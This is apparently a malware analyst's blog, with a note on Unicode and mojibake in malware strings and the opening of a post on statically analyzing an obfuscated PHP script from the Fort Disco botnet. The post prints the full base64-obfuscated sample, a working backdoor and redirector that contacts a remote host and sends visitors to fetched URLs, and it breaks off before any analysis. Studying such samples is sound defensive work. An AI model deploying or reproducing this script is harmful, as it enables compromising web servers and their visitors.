One notable side effect to working in intrusions and malware analysis is the common and frustrating exposure to text in a foreign language. While many would argue the world was much better when text fit within a one-byte space, dwindling RAM and hard drive costs allowed us the extravagant expense of using TWO bytes to represent each character. The world has yet to recover from the shock of this great invention and modern programmers cry themselves to sleep while fighting with Unicode strings.

For a malware analyst, this typically comes about while analyzing code that's beyond the standard trojan, which typically contains no output. Analyzing C2 clients (servers in other contexts) and decoy documents require being able to identify the correct code page for strings so that they appear correctly, can be attributed to a language, and can then be translated.

ASCII is the range of bytes from 0-255, which occupy one byte of storage. UTF-8 extends upon this by using single-byte where possible, but also allowing variable-length bytes that are mathematically calculated to determine the correct byte to use. If you see a string of text that looks like ASCII, but then randomly contains unknown characters, it is likely UTF-8, such as:

C:\users\brian\樿é±¼\malware.pdb

Code pages, UTF-16, and even UTF-32, provide additional challenges by providing little context to the data involved. However, I hope that by this point in 2013 we don't need to continually harp on what Unicode is...

For most analysts, their exposure to Unicode is being confronted with unknown text, and then trying to figure out how to get it back into its original language. This text, when illegible, is known as mojibake, a Japanese term for "writing that changes". The data is correct, and it does mean something to someone, but the wrong encoding is being applied. This results in text that looks, well... wrong.

Most analysts have gotten into the habit of searching for unknown characters then guessing which code page or encoding to apply until they produce something that looks legible. This does eventually work, but is a clumsy science. We all have our favorites to try: GB2312, Big5, Cyrillic, 8859-2, etc. But, let's just keep this short and sweet and show you a tool that your peers likely already know about but forgot to show you.

10 August 2013

How To: Static analysis of encoded PHP scripts

This week, Steve Ragan of CSO Online posted an article on a PHP-based botnet named by Arbor Networks as Fort Disco. As part of his analysis, Ragan posted an oddly obfuscated PHP script for others to tinker with, shown below:

<? $GLOBALS['_584730172_']=Array(base64_decode('ZXJy' .'b' .'3JfcmVw' .'b' .'3J0aW5n'),base64_decode('c' .'2V0X3RpbWV' .'fbGl' .'taXQ' .'='),base64_decode('' .'ZG' .'Vma' .'W' .'5l'),base64_decode('' .'ZGlyb' .'mFtZQ=='),base64_decode('ZGVm' .'aW5l'),base64_decode('' .'d' .'W5saW5r'),base64_decode('Zml' .'sZ' .'V9le' .'G' .'lzdHM='),base64_decode('dG91Y2' .'g='),base64_decode('aXNfd3J' .'p' .'dGFibGU='),base64_decode('dHJ' .'p' .'bQ=='),base64_decode('ZmlsZ' .'V9nZXRf' .'Y29udGVud' .'HM='),base64_decode('dW5s' .'aW5r'),base64_decode('Zm' .'lsZ' .'V9nZXRf' .'Y2' .'9u' .'dGVudHM='),base64_decode('d' .'W5' .'saW5r'),base64_decode('cH' .'JlZ19' .'tYX' .'Rj' .'aA=='),base64_decode('aW1wb' .'G9kZ' .'Q=='),base64_decode('cHJlZ19t' .'YXRja' .'A=='),base64_decode('a' .'W1w' .'bG9k' .'Z' .'Q=='),base64_decode('Zml' .'s' .'ZV' .'9nZXRfY' .'29' .'udGV' .'udH' .'M='),base64_decode('Z' .'m9w' .'ZW4='),base64_decode('' .'ZmxvY' .'2' .'s' .'='),base64_decode('ZnB1' .'dH' .'M='),base64_decode('Zmx' .'vY' .'2s' .'='),base64_decode('Zm' .'Nsb3' .'Nl'),base64_decode('Z' .'mlsZV9leG' .'lzdH' .'M='),base64_decode('dW5zZX' .'JpYWx' .'pemU='),base64_decode('Z' .'mlsZV9nZXRfY29udGVu' .'dHM='),base64_decode('dGlt' .'ZQ' .'=' .'='),base64_decode('Zm' .'ls' .'Z' .'V9n' .'ZX' .'RfY29' .'ud' .'GVu' .'dHM='),base64_decode('d' .'GltZ' .'Q=='),base64_decode('Zm9w' .'ZW4='),base64_decode('Zmx' .'vY2s='),base64_decode('' .'ZnB1dHM='),base64_decode('c2VyaWFsaX' .'pl'),base64_decode('Zm' .'xvY2s='),base64_decode('ZmNsb' .'3N' .'l'),base64_decode('c' .'3Vic3Ry'),base64_decode('' .'a' .'GVhZGVy'),base64_decode('aGVhZGV' .'y')); ?><? function _1348942592($i){$a=Array('aHR0cDovL2dheWxlZWNoZXIuY29tOjgx','cXdlMTIz','cXdlMTIz','MTIzcXdl','Uk9PVA==','Lw==','TE9H','b2xvbG8udHh0','L2lmcmFtZS50eHQ=','dGVzdA==','d29yaw==','Tk8gV09SSywgTk9UIEdFVCBVUkw=','Tk8gV09SSywgTk9UIFdSSVRJQkxF','YWFh','YWFh','YWFh','U0NSSVBUX0ZJTEVOQU1F','LmNvdW50','YmJi','YmJi','Y2Nj','U0NSSVBUX0ZJTEVOQU1F','LmNvdW50','TnVsbCBjb3VudCBvaw==','RVJST1IgbnVsbCBjb3VudCgo','SFRUUF9VU0VSX0FHRU5U','TVNJRQ==','RmlyZWZveA==','T3BlcmE=','V2luZG93cw==','Lw==','fA==','L2k=','SFRUUF9VU0VSX0FHRU5U','Lw==','fA==','L2k=','SFRUUF9VU0VSX0FHRU5U','U0NSSVBUX0ZJTEVOQU1F','LmNvdW50','','U0NSSVBUX0ZJTEVOQU1F','LmNvdW50','dw==','L2lmcmFtZTIudHh0','aHR0cDovL3lhLnJ1Lw==','c2V0dGluZ3MuanNvbg==','c2V0dGluZ3MuanNvbg==','bGFzdA==','dXJs','bGFzdA==','dXJs','bGFzdA==','c2V0dGluZ3MuanNvbg==','dw==','dXJs','dXJs','aHR0cA==','aHR0cDovLw==','Lw==','SFRUUC8xLjEgNDA0IE5vdCBGb3VuZA==');return base64_decode($a[$i]);} ?><?php $GLOBALS['_584730172_'][0](round(0));$GLOBALS['_584730172_'][1](round(0));$_0=_1348942592(0);if(isset($_GET[_1348942592(1)])AND $_GET[_1348942592(2)]==_1348942592(3)){$GLOBALS['_584730172_'][2](_1348942592(4),$GLOBALS['_584730172_'][3](__FILE__) ._1348942592(5));$GLOBALS['_584730172_'][4](_1348942592(6),ROOT ._1348942592(7));@$GLOBALS['_584730172_'][5](LOG);if(!$GLOBALS['_584730172_'][6](LOG)){@$GLOBALS['_584730172_'][7](LOG);if($GLOBALS['_584730172_'][8](LOG)AND $GLOBALS['_584730172_'][9]($GLOBALS['_584730172_'][10]($_0 ._1348942592(8)))==_1348942592(9)){@$GLOBALS['_584730172_'][11](LOG);echo _1348942592(10);}else{echo _1348942592(11);}}else{echo _1348942592(12);}exit;}if(isset($_GET[_1348942592(13)])AND $_GET[_1348942592(14)]== _1348942592(15)){$_1=$GLOBALS['_584730172_'][12]($_SERVER[_1348942592(16)] ._1348942592(17));echo $_1;exit;}if(isset($_GET[_1348942592(18)])AND $_GET[_1348942592(19)]== _1348942592(20)){if($GLOBALS['_584730172_'][13]($_SERVER[_1348942592(21)] ._1348942592(22))){echo _1348942592(23);}else{echo _1348942592(24);}exit;}if(!empty($_SERVER[_1348942592(25)])){$_2=array(_1348942592(26),_1348942592(27),_1348942592(28));$_3=array(_1348942592(29));if($GLOBALS['_584730172_'][14](_1348942592(30) .$GLOBALS['_584730172_'][15](_1348942592(31),$_2) ._1348942592(32),$_SERVER[_1348942592(33)])){if($GLOBALS['_584730172_'][16](_1348942592(34) .$GLOBALS['_584730172_'][17](_1348942592(35),$_3) ._1348942592(36),$_SERVER[_1348942592(37)])){$_4=@$GLOBALS['_584730172_'][18]($_SERVER[_1348942592(38)] ._1348942592(39));if($_4 == _1348942592(40)or $_4 == false)$_4=round(0);$_5=@$GLOBALS['_584730172_'][19]($_SERVER[_1348942592(41)] ._1348942592(42),_1348942592(43));@$GLOBALS['_584730172_'][20]($_5,LOCK_EX);@$GLOBALS['_584730172_'][21]($_5,$_4+round(0+1));@$GLOBALS['_584730172_'][22]($_5,LOCK_UN);@$GLOBALS['_584730172_'][23]($_5);$_6=$_0 ._1348942592(44);$_7=round(0+300);$_8=_1348942592(45);if(!$_6)exit();$_9=$GLOBALS['_584730172_'][24](_1348942592(46))?$GLOBALS['_584730172_'][25]($GLOBALS['_584730172_'][26](_1348942592(47))):array(_1348942592(48)=>round(0),_1348942592(49)=>$_8);if($_9[_1348942592(50)]<$GLOBALS['_584730172_'][27]()-$_7){if($_9[_1348942592(51)]=$GLOBALS['_584730172_'][28]($_6)){$_9[_1348942592(52)]=$GLOBALS['_584730172_'][29]();$_10=$GLOBALS['_584730172_'][30](_1348942592(53),_1348942592(54));$GLOBALS['_584730172_'][31]($_10,LOCK_EX);$GLOBALS['_584730172_'][32]($_10,$GLOBALS['_584730172_'][33]($_9));$GLOBALS['_584730172_'][34]($_10,LOCK_UN);$GLOBALS['_584730172_'][35]($_10);}}$_11=$_9[_1348942592(55)]?$_9[_1348942592(56)]:$_8;if($GLOBALS['_584730172_'][36]($_11,round(0),round(0+1+1+1+1))!= _1348942592(57))$_11=_1348942592(58) .$_11 ._1348942592(59);$GLOBALS['_584730172_'][37]("Location: $_11");exit;}}}$GLOBALS['_584730172_'][38](_1348942592(60)); ?>

As a fan of obfuscation, this clearly piqued my interest. The initial question was what was contained within all of the Base64 sections, but let's examine this holistically.  At a high level view, there are three distinct sections to this code block, with the beginning of each underlined in the code above. Each can also be identified as beginning with "<?".